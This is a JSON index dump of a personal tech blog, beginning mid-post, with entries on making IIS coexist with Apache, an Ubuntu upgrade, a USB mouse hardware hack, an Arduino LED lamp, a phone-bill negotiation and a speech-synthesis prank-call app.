HTTP/HTTPS ports (80 \u0026amp; 443), but instead have it use arbitrary ports (was to be 8080 \u0026amp; 4433). With that in place, I could then run Apache normally. In order to get traffic to hit the right sites as hosted by IIS, the apache server would have it\u0026rsquo;s own virtual host definitions for each IIS site. In those definitions, there would be a Reverse Proxy config to get Apache to pass the traffic internally over to the arbitrary ports.\nFalse Sense of Security Just to be on the safe side, I setup a Windows 2003 Server Virtual Machine to simulate the windows environment I was dealing with. I then installed Apache (via WAMP Server), configured IIS and tested. Everything worked according to plan. After some other minor testing I decided I was ready to make the actual switch.\nIt hit the fan So, I RDPed in to the Windows Webserver and installed Apache, of course, at first there was a conflict in ports as the IIS service was already bound to 80/443 that Apache was after. I turned off IIS, let Apache take the ports and reconfigured IIS to use the arbitrary ports I had specified. When I tried to restart IIS it complained about it\u0026rsquo;s ports being used. I checked and re-checked the config to find that there was no reference to the old ports (now used by Apache). Nevertheless, IIS insisted on using those ports.\nI then decided that since someone awhile ago had setup several IPs for the same one network interface on the machine, that I could just as easily get IIS to use one IP and Apache on the other. I\u0026rsquo;d just get my Apache Reverse Proxy to connect to the other IP rather than obsecure ports. To make that work, I\u0026rsquo;d have to edit the hosts file to make sure the machine resolved the hostnames to the IP I wanted. I didn\u0026rsquo;t like the increased complexity, but it didn\u0026rsquo;t matter\u0026hellip;. I found that IIS was still complaining when I told it to only use one specific IP (that wasn\u0026rsquo;t touched by Apache). WTF.\nAfter some digging, I found this very helpful article that relieved that Microsoft seems to have a cruel sense of humor when it comes to interfaces. It would seem that inspite of the GUI for IIS showing that the virtual hosts on the machine are configured to use whatever ports \u0026amp; IPs I had picked, the IIS service was still trying to grab ports 80/443 on ALL NICs on the machine when it started.\nMe: Microsoft, why would you bother making a UI like that?\nImaginary Microsoft Response: We develop software that \u0026ldquo;works\u0026rdquo; as fast/cheap as possible. And if you try to USE it in some regard that we don\u0026rsquo;t get hounded to patch until it works, then you\u0026rsquo;re SOL. Not that we care, the harder it is for you to migrate away from our shit products, the longer you\u0026rsquo;ll pay us to use them.\nThe Resolution The jist of that article is that in order to actually configure IIS to bind ONLY to a given list of IPs, you need to manually declare what those IPs are through a command line utility called httpcfg.exe. I found this wonderful little application included with this package.\nBalki: God of the Sheep Herders To get things working properly I learned first that shutting down the IIS service and reconfiguring it at the command line with the GUI for IIS still open will lead you down a road of pain.\nAfter that all I had to do was add the right IPs that I wanted IIS to use, and run that little line: cscript adsutil.vbs set /smtpsvc/1/DisableSocketPooling true\nA swift reboot sealed the deal and all appears well now.\nNext time I think if I ran in to this sort of project in the future, I\u0026rsquo;d push to run with a Linode or something. The way I\u0026rsquo;ve got it going now works fine and we\u0026rsquo;ll continue on from there. But my suggestion is avoid running IIS period. If you have to use it, then try to keep it on it\u0026rsquo;s own machine. If you must run Apache with it, you can, just expect a Windows Update to eventually break everything and make you go become a sheep herder.\n","link":"https://dawning.ca/posts/iis-and-apache/","section":"posts","tags":["apache","windows","iis","wamp","wampserver","configuration","ip","address","share","port","httpcfg","command-line","stupid","microsoft","virtualhost"],"title":"The Anti-Epic Tale of Making IIS Play Nice with Apache"},{"body":"","link":"https://dawning.ca/tags/virtualhost/","section":"tags","tags":null,"title":"Virtualhost"},{"body":"","link":"https://dawning.ca/tags/wamp/","section":"tags","tags":null,"title":"Wamp"},{"body":"","link":"https://dawning.ca/tags/wampserver/","section":"tags","tags":null,"title":"Wampserver"},{"body":"","link":"https://dawning.ca/tags/code/","section":"tags","tags":null,"title":"Code"},{"body":"","link":"https://dawning.ca/tags/dev/","section":"tags","tags":null,"title":"Dev"},{"body":"","link":"https://dawning.ca/tags/development/","section":"tags","tags":null,"title":"Development"},{"body":"","link":"https://dawning.ca/tags/embedded/","section":"tags","tags":null,"title":"Embedded"},{"body":"","link":"https://dawning.ca/tags/gadget/","section":"tags","tags":null,"title":"Gadget"},{"body":" I\u0026rsquo;ve finally pitched my brilliantly ancient Blackberry (deserves an award for surviving this long). I decided the only way for me to go was to get an iPhone. It\u0026rsquo;s now been nearly a week and I must say this platform is a must have for any computery geeky types out there. It makes me antiquated Pocket PC cower in submissive fear and continues to impress and delight me a every turn.\nWhen iPhone was first released I shyed away on account of two factors. First I thought the price was completely unreasonable, that\u0026rsquo;s long since been fixed. Secondly, I felt it to be too cruel for Apple to provide such an awesome platform, but lock it up with no public development tools. That too, has now long since been addressed quite masterfully.\nI\u0026rsquo;ve been watching a through set of introductory development videos for iPhone this morning and they\u0026rsquo;ve been quite informative. Apple has clearly got their head\u0026rsquo;s in the right space to provide an outstanding mobile device that offers a carefully designed balance of functionality, stability, entertainment and room for customization.\nSo at this point, if you don\u0026rsquo;t have an iPhone or at least an ipod Touch and you like playing around with embedded systems of any kind, I HIGHLY recommend you take a very careful look at this platform. Apple\u0026rsquo;s massively well presented documentation can help get you far long in developing your own tools as well, so check them out. Also, check out all the apps floating around in the iTunes store.\n","link":"https://dawning.ca/posts/iphone-endowed-life-begins/","section":"posts","tags":["apple","phone","iphone","development","dev","program","programming","code","embedded","mobile","pocket","device","gadget"],"title":"iPhone Endowed Life Begins"},{"body":"","link":"https://dawning.ca/tags/mobile/","section":"tags","tags":null,"title":"Mobile"},{"body":"","link":"https://dawning.ca/tags/phone/","section":"tags","tags":null,"title":"Phone"},{"body":"","link":"https://dawning.ca/tags/pocket/","section":"tags","tags":null,"title":"Pocket"},{"body":"","link":"https://dawning.ca/tags/program/","section":"tags","tags":null,"title":"Program"},{"body":"","link":"https://dawning.ca/tags/programming/","section":"tags","tags":null,"title":"Programming"},{"body":"Howdy friends, after some down time, I\u0026rsquo;ve moved the dawning.ca server on to a new web server I\u0026rsquo;ve configured. I had moved it over to a Linode VM for awhile, but in trying to cut down my personal costs, I\u0026rsquo;ve since migrated it back home. Anyway, I quite enjoyed using Linode for awhile and if you\u0026rsquo;re interested in having a decent remotely hosted Virtual Machine, I\u0026rsquo;d highly recommend them.\n","link":"https://dawning.ca/posts/server-relocated/","section":"posts","tags":null,"title":"Dawning.ca Server Relocated"},{"body":"","link":"https://dawning.ca/tags/2000/","section":"tags","tags":null,"title":"2000"},{"body":"","link":"https://dawning.ca/tags/brasil/","section":"tags","tags":null,"title":"Brasil"},{"body":"","link":"https://dawning.ca/tags/brazil/","section":"tags","tags":null,"title":"Brazil"},{"body":"","link":"https://dawning.ca/tags/cisv/","section":"tags","tags":null,"title":"CISV"},{"body":"In July of 2000 I met up with a bunch of people I only knew were follow members of CISV, but from a bunch of other countries. For about a month we hung out together at a camp in Rio De Janeiro. Most of the attendants were 11yr olds. I myself was there as a Junior Counsellor, and was 16. There were of course many other older leaders. Before the camp had actually started, the leaders that hosted the camp sent out a video. I\u0026rsquo;ve dug this video out of my archives, brushed it off slightly and posted it for all to enjoy! Also, check out my photo album from this event.\n","link":"https://dawning.ca/posts/ppz/","section":"posts","tags":["CISV","Brazil","Brasil","Rio De Janeiro","2000","Summer Village","Pre-camp","Junior Counsellor"],"title":"CISV Plunct Plact Zum Village Pre-Camp Video"},{"body":"","link":"https://dawning.ca/tags/junior-counsellor/","section":"tags","tags":null,"title":"Junior Counsellor"},{"body":"","link":"https://dawning.ca/tags/pre-camp/","section":"tags","tags":null,"title":"Pre-Camp"},{"body":"","link":"https://dawning.ca/tags/rio-de-janeiro/","section":"tags","tags":null,"title":"Rio De Janeiro"},{"body":"","link":"https://dawning.ca/tags/summer-village/","section":"tags","tags":null,"title":"Summer Village"},{"body":"","link":"https://dawning.ca/tags/2002/","section":"tags","tags":null,"title":"2002"},{"body":"","link":"https://dawning.ca/tags/commencement/","section":"tags","tags":null,"title":"Commencement"},{"body":"","link":"https://dawning.ca/tags/dance/","section":"tags","tags":null,"title":"Dance"},{"body":"","link":"https://dawning.ca/tags/party/","section":"tags","tags":null,"title":"Party"},{"body":"","link":"https://dawning.ca/tags/prom/","section":"tags","tags":null,"title":"Prom"},{"body":"","link":"https://dawning.ca/tags/schs/","section":"tags","tags":null,"title":"SCHS"},{"body":"Well, it may have been 7 years ago now, but I was cruising through my files and came across this old video.. I don\u0026rsquo;t really know who recorded the original footage, but I decided to clean it up a bit and put it out there, after all, there\u0026rsquo;s little point having this video if it\u0026rsquo;s not shared!\nSo, here it is.. I hope many good old SCHS friends check it out and that it brings back a few nice memories for them. I expect some time around 2012, we\u0026rsquo;ll have to get a reunion setup. Hope you\u0026rsquo;re all doing well! Cheers.\n","link":"https://dawning.ca/posts/highschool-graduation/","section":"posts","tags":["video","SCHS","springbank community high school","calgary","alberta","canada","graduation","dance","commencement","prom","stampede park","springbank high school","springbank","2002","party"],"title":"SCHS 2002 Graduation"},{"body":"","link":"https://dawning.ca/tags/springbank/","section":"tags","tags":null,"title":"Springbank"},{"body":"","link":"https://dawning.ca/tags/springbank-community-high-school/","section":"tags","tags":null,"title":"Springbank Community High School"},{"body":"","link":"https://dawning.ca/tags/springbank-high-school/","section":"tags","tags":null,"title":"Springbank High School"},{"body":"","link":"https://dawning.ca/tags/stampede-park/","section":"tags","tags":null,"title":"Stampede Park"},{"body":"","link":"https://dawning.ca/tags/ati/","section":"tags","tags":null,"title":"Ati"},{"body":"","link":"https://dawning.ca/tags/distro/","section":"tags","tags":null,"title":"Distro"},{"body":"","link":"https://dawning.ca/tags/flash/","section":"tags","tags":null,"title":"Flash"},{"body":"","link":"https://dawning.ca/tags/gnu/","section":"tags","tags":null,"title":"Gnu"},{"body":"","link":"https://dawning.ca/tags/nonfree/","section":"tags","tags":null,"title":"Nonfree"},{"body":"","link":"https://dawning.ca/tags/operating-systems/","section":"tags","tags":null,"title":"Operating Systems"},{"body":"","link":"https://dawning.ca/tags/shell/","section":"tags","tags":null,"title":"Shell"},{"body":"","link":"https://dawning.ca/tags/software-manager/","section":"tags","tags":null,"title":"Software Manager"},{"body":" Ubuntu Logo Hello World!\nWhile, yesterday was Ubuntu 9.04 day! With the latest official release of Ubuntu Linux, I decided to put one foot in the water and give upgrading my mac pro from 8.10 a whirl. The process went fairly perfectly with one major flaw. Upon rebooting my upgraded system, my video driver for xorg was no longer functioning properly. The solution was to remotely login through ssh, download \u0026amp; install the latest driver (from here) and then reboot again. After that I was greeted with the beautiful new Ubuntu 9.04 login screen and the upgrade was nearly..\nI did go on to find that flash wasn\u0026rsquo;t working for me properly anymore. I found an interesting post that offered some good suggestions here. Though I found following the preferred suggestion didn\u0026rsquo;t exactly work out for me. All I did was remove the nonfree flash package and then reinstalled the \u0026ldquo;flashplugin-installer\u0026rdquo; package.\nI posted pretty much the same comments as above regarding the video issue, with a little more detail on the Ubuntu Forum.\nMy flash experience is reposted here, but whatever, cause I just said it all over again in this post.\n","link":"https://dawning.ca/posts/ubuntu-9_04-upgrade/","section":"posts","tags":["ubuntu","linux","download","computers","youtube","software","operating systems","gnu","open source","free","upgrade","distro","software manager","ati","xorg","driver","shell","ssh","install","flash","nonfree","firefox"],"title":"Upgrade Experience with Ubuntu 9.04"},{"body":"","link":"https://dawning.ca/tags/xorg/","section":"tags","tags":null,"title":"Xorg"},{"body":"","link":"https://dawning.ca/tags/bohemian-rhapsody/","section":"tags","tags":null,"title":"Bohemian Rhapsody"},{"body":"","link":"https://dawning.ca/categories/music/","section":"categories","tags":null,"title":"Music"},{"body":"","link":"https://dawning.ca/tags/slashdot/","section":"tags","tags":null,"title":"Slashdot"},{"body":"","link":"https://dawning.ca/categories/videos-by-whomever/","section":"categories","tags":null,"title":"Videos by Whomever"},{"body":"I came across this video via Slashdot of all places and man, I gotta say, this is an absolute masterpiece in my books! Excellent/brillant work here! Brings back some excellent memories for me, that is the song does.. The hardware is just freaky and awesome.\n","link":"https://dawning.ca/posts/bohemian-rhapsody/","section":"posts","tags":["hardware","youtube","bohemian rhapsody","video","sound","Music","slashdot"],"title":"What tired old hardware does: Bohemian Rhapsody"},{"body":"I was playing WoW the other day with a some friends.. I was playing it on Ubuntu linux (using WINE) and I guess some mystical memory leak decided to creep up and kick my butt. As such, from the WoW side of things I was disconnected while running in Stormwind City.\nAbout 33.53 seconds later, I had managed to login again, but I found myself dead. The afterlife was not what I expected. I had been teleported (via a game bug) to a far away land and lived in a perpetual state of free-fall. It was horrid and more importantly, I couldn\u0026rsquo;t see a way out. My group had already been waiting for me to run to where they where and this had to happen. Not to worry however, a trusty Game Master came to my rescue. After some BSG banter and laughs the GM used their super-toon powers and transported me to the city of Ironforge (as I was trying to get there in the first place).\nThe whole detour took about 30mins to get resolved on a Saturday evening, so all in all, I suppose that\u0026rsquo;s not too bad at all.\nI have a video from my time in the hellish afterlife:\n","link":"https://dawning.ca/posts/epic-wow-fail/","section":"posts","tags":["world of warcraft","WoW","bug","flaw","error","teleport","teleported","saturday","game master","gm","help system","rescue","freefall","fall","falling","stuck","render","spirit healer","sh","youtube","vimeo"],"title":"Epic WoW Fail"},{"body":"","link":"https://dawning.ca/tags/error/","section":"tags","tags":null,"title":"Error"},{"body":"","link":"https://dawning.ca/tags/fall/","section":"tags","tags":null,"title":"Fall"},{"body":"","link":"https://dawning.ca/tags/falling/","section":"tags","tags":null,"title":"Falling"},{"body":"","link":"https://dawning.ca/tags/flaw/","section":"tags","tags":null,"title":"Flaw"},{"body":"","link":"https://dawning.ca/tags/freefall/","section":"tags","tags":null,"title":"Freefall"},{"body":"","link":"https://dawning.ca/tags/game-master/","section":"tags","tags":null,"title":"Game Master"},{"body":"","link":"https://dawning.ca/tags/gm/","section":"tags","tags":null,"title":"Gm"},{"body":"","link":"https://dawning.ca/tags/help-system/","section":"tags","tags":null,"title":"Help System"},{"body":"","link":"https://dawning.ca/tags/render/","section":"tags","tags":null,"title":"Render"},{"body":"","link":"https://dawning.ca/tags/rescue/","section":"tags","tags":null,"title":"Rescue"},{"body":"","link":"https://dawning.ca/tags/saturday/","section":"tags","tags":null,"title":"Saturday"},{"body":"","link":"https://dawning.ca/tags/sh/","section":"tags","tags":null,"title":"Sh"},{"body":"","link":"https://dawning.ca/tags/spirit-healer/","section":"tags","tags":null,"title":"Spirit Healer"},{"body":"","link":"https://dawning.ca/tags/stuck/","section":"tags","tags":null,"title":"Stuck"},{"body":"","link":"https://dawning.ca/tags/teleport/","section":"tags","tags":null,"title":"Teleport"},{"body":"","link":"https://dawning.ca/tags/teleported/","section":"tags","tags":null,"title":"Teleported"},{"body":"","link":"https://dawning.ca/tags/vimeo/","section":"tags","tags":null,"title":"Vimeo"},{"body":"","link":"https://dawning.ca/tags/wow/","section":"tags","tags":null,"title":"WoW"},{"body":"","link":"https://dawning.ca/tags/annoying/","section":"tags","tags":null,"title":"Annoying"},{"body":"","link":"https://dawning.ca/tags/car/","section":"tags","tags":null,"title":"Car"},{"body":"So the other day I was standing in Cami\u0026rsquo;s kitchen when we heard a loud scraping sound come from outside. We soon realized the sound was that of a car driving straight in to the side of my parked car. I ran outside just in time to clearly observe a man who had been a passenger essentially move over and sit on top of the woman who was behind the wheel. He then appeared to drive the car as it sped away from the scene.\nWhat is especially funny to me is that there were 4 witnesses is VERY plain sight of them, but they fled anyway. There actually was a 5th witness on top of that. So we easily observed the license plate number and called it in. The police came, took statements from all and then told us that the car\u0026rsquo;s owner lives behind us and they told us to call in event that the car returns.\nThe police then also told us that the owner was fined one month prior for driving without insurance and it appeared they remained uninsured.\nSo, the next day, the car returned. Cami called up the police and they went over to the house to speak with the supposed owner of the car. I\u0026rsquo;m told the man claimed that he couldn\u0026rsquo;t have been involved in an accident as he only got the car out of the impound this morning. However the damage (including transferred paint) spoke well for itself. He apparently was able to produce some kind of insurance (we\u0026rsquo;ll see if that holds up).\nThe police that came out today said they\u0026rsquo;d hand over the information they collected to the police officers who initially investigated the situation.\nI\u0026rsquo;m led to believe that my insurance company will take care of it (possibly in part by suing the responsible party for damages) and I\u0026rsquo;m comforted by the feeling that will work out, to some degree.\nWhat do you guys think the penalty for doing something like that ought to be?\n[update]: So I just got home again to see the offending car parked across the street, in front of the house this guy lives at (as I now have verified). I\u0026rsquo;m tempted to take some pictures of his car and probably will do so.. Though the key for me is not to provoke an incident. IF the police were doing nothing, I\u0026rsquo;d be more interested in some kind of confrontation. Since they seem to be doing a great investigation, I think it\u0026rsquo;s smartest for me to help keep the case as simple as possible. Still, I\u0026rsquo;d like pictures of the whole setup.. hah, I\u0026rsquo;ll probably take some tomorrow, it\u0026rsquo;s all dark now.\nClick below to be taken to my photo album with pictures of my car!\n","link":"https://dawning.ca/posts/hit-run-on-my-car/","section":"posts","tags":["car","hit and run","crash","annoying"],"title":"Hit \u0026 Run on my car!"},{"body":"","link":"https://dawning.ca/tags/hit-and-run/","section":"tags","tags":null,"title":"Hit and Run"},{"body":"I decided one day that my USB mouse needed more spunk. I had been finding that I was using a USB wireless card a lot, but it took up a lot of room and was big enough that the adjacent port was covered (unless I used a USB hub). So it occured to me that I could probably cram the HUB and the wireless card inside the mouse and still have enough room for the original mouse guts. Turns out, I was right about this.\nI\u0026rsquo;ve assembled a bit of a photo diary of this project here, click for more.. This hack was featured on HackADay! This hack is also discussed on a few pages on the Fatman \u0026amp; Circuit Girl forum: here as well as here.\nThis video captures it all quite well\nParts List If you\u0026rsquo;re interested in doing this yourself, here\u0026rsquo;s some parts you may want to consider:\nMouse $12 Hub $8 Wireless Card (this isn’t the one I used) $15 Memory Stick 4GB $10 Alternate Memory Stick 8GB $23 ","link":"https://dawning.ca/projects/mouse/","section":"pages","tags":null,"title":"UberMouse: Hacking awesomeness in to your USB mouse "},{"body":"I did this cool mouse mod where I put a wireless card inside of my mouse - I love it because the mouse looks exactly the same as before, except now it has wireless functionality!!! This hack got featured over on Hackaday.com!\nRoll on over to the project page for this hack!\n","link":"https://dawning.ca/posts/super-mouse-hack/","section":"posts","tags":null,"title":"Super Mouse Hack"},{"body":"","link":"https://dawning.ca/tags/atmega/","section":"tags","tags":null,"title":"Atmega"},{"body":"","link":"https://dawning.ca/tags/atmel/","section":"tags","tags":null,"title":"Atmel"},{"body":"","link":"https://dawning.ca/tags/avr/","section":"tags","tags":null,"title":"Avr"},{"body":"While my latest round of HypnoOrb progress hasn\u0026rsquo;t yet resulted in another fully functional design, it\u0026rsquo;s a good step in that direction. I\u0026rsquo;ve been learning to make good use of Cadsoft\u0026rsquo;s free version of their PCB design tool called Eagle. At this point I\u0026rsquo;ve been kind of stuck on getting the path of the wires routed well. The free version of Eagle provides some routing features, but I\u0026rsquo;m told it\u0026rsquo;s best to go with some other tools, tools that I\u0026rsquo;m pretty sure cost the GDP of a small nation, or possibly continent. But fear not, this is a fairly simple board, so I think worst case I should be able to manually route it in a very awesome way\u0026hellip;. I hope. Anyway, below\u0026rsquo;s an image of the latest layout I\u0026rsquo;ve got\u0026hellip;\nHypnoOrb Prototype MK3 ","link":"https://dawning.ca/posts/some-hypnoorb-progress/","section":"posts","tags":["atmel","HypnoOrb","atmega","avr"],"title":"Some HypnoOrb Progress"},{"body":"","link":"https://dawning.ca/tags/bills/","section":"tags","tags":null,"title":"Bills"},{"body":"","link":"https://dawning.ca/tags/cell-phone/","section":"tags","tags":null,"title":"Cell Phone"},{"body":"","link":"https://dawning.ca/tags/frustrations/","section":"tags","tags":null,"title":"Frustrations"},{"body":"","link":"https://dawning.ca/tags/rogers/","section":"tags","tags":null,"title":"Rogers"},{"body":"The Myth I head somewhere in the past that if you get Rogers to redirect you to their retentions group, they\u0026rsquo;ll offer you better options than you\u0026rsquo;d get elsewhere. It just bothers me that it seems to be true that if you want those better options you first have to actually make some kind of case for them or threaten to leave. It shouldn\u0026rsquo;t be that way. But hey, it just makes room for someone else to come in and do a better job.\nWhat\u0026rsquo;s been buggin me So I\u0026rsquo;ve been really frustrated lately as my Rogers Wireless cell phone bills have been crazy. A few months ago I was seeing $100/mth bills for my cell and I only have really used it for chatting with the same few local people (more or less). I got setup with My5, which is awesome in that it gives you unlimited communication with a specific group of numbers. That was good, as for a couple bills I saw charges of about $60. But then my last bill came in at a whopping $167.47. The extra charges came from one 70minute internet session in a cafe billed to my wireless account and a bunch of long distance charges. Turns out my My5 plan was setup so as to only allow unlimited communication with my specific group of numbers as local calls. I had thought I could call those numbers from anywhere to anywhere inside Canada.\nWhat I did about it So I called up Rogers and explained how I\u0026rsquo;m at the end of my rope. I\u0026rsquo;ve been so frustrated by how much I pay to have a cell phone. I\u0026rsquo;ve stayed with Rogers to give myself the option to switch to an iPhone in the future, but I my bills have been so high and I\u0026rsquo;ve hated the last few phones I\u0026rsquo;ve had so much that I\u0026rsquo;ve been considering just closing the account.\nI told them that the absolute most I can afford as a student on any given month for my cell is $50 and even then, that\u0026rsquo;s really pushing what I can devote to that. The regular \u0026ldquo;account billing\u0026rdquo; guy I was speaking to transferred me to what he called \u0026ldquo;customer service\u0026rdquo; - but I\u0026rsquo;m pretty sure it was really their retentions department.\nHow that went down So the retentions gal I then spoke with was extremely helpful and awesome in all regards I could ask for. I explained the financial constraints, told her why I had stayed with Rogers (iPhone options) and said I\u0026rsquo;m not sure I can afford to stick around. After much helpful discussion, she changed me $55.27 from my current bill and waived the rest. Then changed my plan to add the long-distance support to My5 and added a bunch of other services such as Caller ID that I had been paying for as free extras. So now my bills should come to $37.45.\nThe Emotional Aftermath So I\u0026rsquo;m feeling really good about that customer experience. I\u0026rsquo;ve had Rogers provide pretty good help in the past, yet I\u0026rsquo;m still frustrated by how out of control it gets. I hate calling in and making a fuss, though since I\u0026rsquo;m making less money than I have in the past I\u0026rsquo;m finding it easy to consider what the wasted extra $ could afford me if not dumped in to unnecessary billing (mostly thinking of Sparkfun there).\nFor now, Rogers has retained me as a customer and I think I\u0026rsquo;m quite happy with my service. Let\u0026rsquo;s just wait to see what the next bill looks like!\nMy suggestion to other Rogers Customers Assuming your bills actually suck somewhat - Just call them up and be honest. Tell them how you really feel about their company and tell them how you feel about your bills. Don\u0026rsquo;t be a jerk and ask for everything and demand it for free. I mean, you\u0026rsquo;ll be talking to human beings on the other side of the fence, if you make them defensive, well, then you\u0026rsquo;ll have a battle on your hands. The best way to win a battle is to never have to fight it, I think Sun Tsu said something like that.\nJust tell them what resources you have (how much you can afford each month) and tell them the services that you feel are necessary. Ask them to help you get your bills to meet whatever your goals are (decide what those are BEFORE calling) and politely explain that you\u0026rsquo;re not convinced you\u0026rsquo;re willing to keep a cell phone (provided that\u0026rsquo;s really the case).\nI think they really want to help their customers, but their customers need to actually communicate back with them. It\u0026rsquo;s an area for them to improve upon, nevertheless, just worry about telling them what you want and be reasonable with it.\n","link":"https://dawning.ca/posts/rogers-redeemed/","section":"posts","tags":["rogers wireless","rogers","cell phone","bills","frustrations"],"title":"Rogers Redeemed"},{"body":"","link":"https://dawning.ca/tags/rogers-wireless/","section":"tags","tags":null,"title":"Rogers Wireless"},{"body":"","link":"https://dawning.ca/posts/hypnoorb-prototype-mk2/","section":"posts","tags":["HypnoOrb"],"title":"HypnoOrb Prototype MK2"},{"body":"","link":"https://dawning.ca/tags/alone/","section":"tags","tags":null,"title":"Alone"},{"body":"Getting the Arduino Processor to function on a breadboard The next step in my HypnoOrb project is to figure out how to get the Arduino microprocessor (AKA ATMega168) that makes the whole thing work function with as little hardware as possible. Thanks to this awesome site, I found, I now know what I wasn\u0026rsquo;t doing right before finding that document. I hope making a reference to that helpful tutorial here will help others find it faster than I did. Have fun!\nArduino Processor on a breadboard RGB LEDS under a bag ","link":"https://dawning.ca/posts/arduino-independence/","section":"posts","tags":["arduino","atmel","atmega168","tutorial","HypnoOrb","breadboard","independent","minimal","power","alone","atmega"],"title":"Arduino Independence"},{"body":"","link":"https://dawning.ca/tags/atmega168/","section":"tags","tags":null,"title":"Atmega168"},{"body":"","link":"https://dawning.ca/tags/breadboard/","section":"tags","tags":null,"title":"Breadboard"},{"body":"","link":"https://dawning.ca/tags/independent/","section":"tags","tags":null,"title":"Independent"},{"body":"","link":"https://dawning.ca/tags/minimal/","section":"tags","tags":null,"title":"Minimal"},{"body":"","link":"https://dawning.ca/tags/tutorial/","section":"tags","tags":null,"title":"Tutorial"},{"body":"Want some Dawning Swag? Well thanks to CafePress, you\u0026rsquo;re in luck! Check out the Dawning Swag below!\nMilitary Green Dawning Bonsai Tree Red Dawning Bonsai Tree (Manually select Red) Value T-Shirt with the Dawning Bonsai The Dawning Bonsai on a Light T-Shirt The Dawning Sunset Shirt Dawning Kitty T-Shirt Dawning Bonsai Bag Dawning Bonsai Cap Dawning Bonsai Mug STP Ringer T ","link":"https://dawning.ca/pages/swag/","section":"pages","tags":null,"title":"Swag Shop"},{"body":"The HypnoOrb is a project I started that\u0026rsquo;s grown in to various small projects. The constant between them all is that it has to do with making pretty lighting using randomly selected combinations of Red, Green and Blue (all the real primary colours, thus can make whatever colour).\nHypnoOrb related projects all draw rather heavily from the Arduino world. However some variants I\u0026rsquo;ve made shed themselves of much of the physical Arduino structure and thus exist as an ATMega168 Microprocessor running my HypnoOrb code with a few small circuits around the chip to make it function.\nFor various little updates on HypnoOrb related projects, take a look here.\nHere\u0026rsquo;s a video I made early on in my HypnoOrb endeavours:\n","link":"https://dawning.ca/projects/hypnoorb/","section":"pages","tags":null,"title":"HypnoOrb"},{"body":"I\u0026rsquo;ve released a rebuild of an old classic program. The old Shit Talker application brought me many hours of enjoyment via calling my friends and goofing around. I\u0026rsquo;ve been sad to see no updates of Shit Talker for a long time and decided to just write my own. Hence I give you Shit Talker Phoenix!\nSome people use Shit Talker for prank calling people they don\u0026rsquo;t know - I can\u0026rsquo;t say I recommend this, not really my personal style. Though I must admit, sometimes the results are rather funny. Please use STP nicely.\n","link":"https://dawning.ca/posts/stp-is-here/","section":"posts","tags":null,"title":"STP is here!"},{"body":"div.stpnewsupdates div h5 { margin: 1px; padding: 1px; }\nStatus 2018-06-29 STP\u0026rsquo;s Windows rebirth has landed as Trash Talker on the Microsoft Store. This version has improved speech functionality, persistence of custom speech text and the ability to completely change the phrases on every button!\n2017-02-23 STP has been reborn on macOS as Trash Talker. I\u0026rsquo;m working towards a similar rebirth for Windows as well. I plan on maintaining this old page for folks who want a free version and don\u0026rsquo;t care about the new improvements \u0026amp; features.\n2017-02-14 After many years of ideal neglect, I\u0026rsquo;m now considering repackaging STP for distribution through the Apple macOS App Store and the Microsoft Windows Store.\nSTP 1.0\nIntroduction Shit Talker Phoenix is the resurrection of a classic application. Back in the \u0026rsquo;90s, I used a hilarious little Visual Basic program called Shit Talker.\nSo the classic app is still out there, but of course, software of THAT vintage doesn\u0026rsquo;t really play so well on modern systems. Sure you could fire up a virtual machine with Windows 98 on it, but, that\u0026rsquo;d be lame.\nAnyway, after not noticing any rebirths of \u0026ldquo;Shit Talker by Jaundice\u0026rdquo; I decided that it was time for me to take some initiative on that front.\nOhh, sorry for the foul language, I\u0026rsquo;d change it, but that\u0026rsquo;d kind of kill the�nostalgic�part of this.\nMac OS X Windows\nScreenshot of STP 1.0\nSome STP for OSX History Blathering I wrote this application over the course of two summers. It actually wasn\u0026rsquo;t much by way of development time, but pretty well the only times I worked on it was while I was locked up in a car on an endless road trip with no internet access. Thus, as it stands, I figure that I\u0026rsquo;ll likely keep working on it when similar circumstances hit me.\nI wrote it just by loading up a sample voice synth code snippet Apple provided with their XCode Development tools. I looked at the key lines that setup the Synth engine and made it yap and then figured out how to make a busy UI that could pass back hidden custom text messages to the synth engine when pressed. So it\u0026rsquo;s a really simple application and the brains all exist in what\u0026rsquo;s already given to you in Mac OS - all this thing really is, is a freak-show handy interface.\nThere\u0026rsquo;s certainly a history behind the Windows version of STP.. In short, a ton of people asked for one.\nDownload You can download STP for OSX here. You can download STP for Windows here.\n","link":"https://dawning.ca/projects/stp/","section":"pages","tags":null,"title":"STP"},{"body":"This page used to be my projects page, these are now archived projects, some of whom have a semblance of presence today, but most are very much shelved. My current projects are visible here.\nTitle: YouTube Video Grabber\nDescription: This is a little web application I\u0026rsquo;ve written to make it very easy for me to dump videos from youtube on to my fileserver such that they\u0026rsquo;re easily viewed on my TVs. Since my TVs are driven by machines running xbmc or boxee, it\u0026rsquo;s easy to play stuff from my file server. Thus I wrote this little application that gives me a place to dump youtube urls for stuff I want to hold on to. My intro post on it here has a little more detail.\nProject Status: Up and running.. Will probably iteratively add stuff to it when I need to procrastinate something else. I eventually want to add features to get it to crawl YouTube and automatically download content for me.\nTitle: MakerBot #155\nDescription: MakerBots are 3D printers for the masses. It took me 3 full days to assemble mine when the kit arrived. With it, I can \u0026ldquo;print\u0026rdquo; out a wide range of plastic do-dads. The limit is my imagination. My MakerBot is from Kit #155 - so it\u0026rsquo;s one of the first, as I imagine there to one day be millions+ of these machines (or at least, their decedents).\nProject Status: Construction Completed. Have printed a relatively complex little \u0026ldquo;treasure chest\u0026rdquo; as can be seen in the image to the left.\nEnd Stop sensors are not yet fully functional and the Plastruder needs to be rebuilt after this incident.\nUberMouse Hack Title: Uber Cool Mouse Hack\nDescription: I grew tired of lameo peripherals all over with my laptop and thus decided to integrate my USB wireless network card inside of my USB Mouse. It went off very well and now I have a mouse that looks completely normal, but weighs a bit more and my computer can network through the thing! AWESOME. I love this hack because it\u0026rsquo;s simple and functional.\nProject Status: Successfully completed \u0026amp; Featured on Hackaday.com!\nSTP 1.0 by Jaymus Title: Shit Talker Phoneix\nDescription: A Reinvention of the classic Shit Talker application. This is used to make \u0026ldquo;prank\u0026rdquo; phone calls using a handy interface to a speech synthesis engine. Currently STP is known to function on OS X 10.4+.\nProject Status: STP version 1.0 released in January 2009.\nHypnoOrb Title: HypnoOrb\nDescription: The HypnoOrb is an Arduino controlled RGB LED lamp project. It started as an educational endeavor to learn more about assembling circuits and programming microcontrollers. However I love this thing so much that the project wasn\u0026rsquo;t closed as soon as I got the thing going at the proof-of-concept level.\nProject Status: Prototype fully functional. Currently developing more streamlined versions, considering opening up for sale\nRat Flash Drive Title: Rat Flash Drive\nDescription: This project was something that occurred to me as a Christmas gift. I tore apart a USB Flash Drive, pulled out 